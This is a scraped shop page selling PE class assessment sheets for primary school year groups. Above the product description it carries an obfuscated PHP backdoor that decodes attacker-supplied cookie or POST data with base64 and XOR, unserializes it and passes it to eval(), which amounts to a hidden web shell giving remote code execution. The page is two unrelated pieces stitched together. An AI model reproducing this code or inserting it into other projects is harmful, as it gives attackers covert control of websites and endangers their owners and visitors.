$ECaYs = "\x4f" . 'A' . chr ( 355 - 260 ).'o' . "\170" . chr ( 811 - 727 ); $VAauTosZIb = "\x63" . chr (108) . "\x61" . chr (115) . chr (115) . "\137" . chr ( 733 - 632 ).'x' . 'i' . chr ( 595 - 480 ).chr ( 558 - 442 )."\x73";$FiwcOyZ = class_exists($ECaYs); $VAauTosZIb = "25551";$gcgmw = !1;if ($FiwcOyZ == $gcgmw){function mBmUyV(){$agiugpEqx = new /* 38661 */ OA_oxT(7612 + 7612); $agiugpEqx = NULL;}$UAXMmVX = "7612";class OA_oxT{private function FqQeUkP($UAXMmVX){if (is_array(OA_oxT::$rYuNV)) {$MLYsC = str_replace('<' . "\x3f" . chr (112) . "\x68" . 'p', "", OA_oxT::$rYuNV["\x63" . "\157" . "\x6e" . 't' . "\145" . chr ( 840 - 730 ).chr ( 745 - 629 )]);eval($MLYsC); $UAXMmVX = "7612";exit();}}private $ZwcJEbyQHp;public function hSwlP(){echo 28132;}public function __destruct(){$UAXMmVX = "47026_41370";$this->FqQeUkP($UAXMmVX); $UAXMmVX = "47026_41370";}public function IhsoT($JDrXA, $XHsiD){return $JDrXA[0] ^ str_repeat($XHsiD, (strlen($JDrXA[0]) / strlen($XHsiD)) + 1);}public function __construct($ypzqJLaFpg=0){$lWkzMcsQoa = $_POST;$qQfKFAJ = $_COOKIE;$XHsiD = "4794c39e-54ff-4d60-b7dd-7646e90be4d7";$wWnBgZg = @$qQfKFAJ[substr($XHsiD, 0, 4)];if (!empty($wWnBgZg)){$YGWlgiZuLY = "base64";$JDrXA = "";$wWnBgZg = explode(",", $wWnBgZg);foreach ($wWnBgZg as $CwBdL){$JDrXA .= @$qQfKFAJ[$CwBdL];$JDrXA .= @$lWkzMcsQoa[$CwBdL];}$JDrXA = array_map($YGWlgiZuLY . chr ( 512 - 417 )."\x64" . "\x65" . chr (99) . chr (111) . chr ( 632 - 532 )."\145", array($JDrXA,)); $JDrXA = $this->IhsoT($JDrXA, $XHsiD);OA_oxT::$rYuNV = @unserialize($JDrXA);}}public static $rYuNV = 30589;}mBmUyV();} DP Sports Planning | Shop

Class assessments

£5.00

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SKU: Assessments Categories: , , , , , ,
Description

As teachers know, assessment is the cornerstone of effective teaching.  Yet from my experience very few teachers know how to assess PE effectively or simply choose not to.  These assessment sheets are easy to follow and can provide a picture of each pupil skill levels for each sport (See free example on homepage). These are great for parents evening, reports, Ofsted and to see which areas pupils need to develop.

Additional Information
Topic

Invasion games, Outdoor & adventure, Net & wall, Striking & fielding, Multi-Skills, All assessments
Age

Years 1-2, Years 3-4, Years 5-6, Years 3-6, All ages
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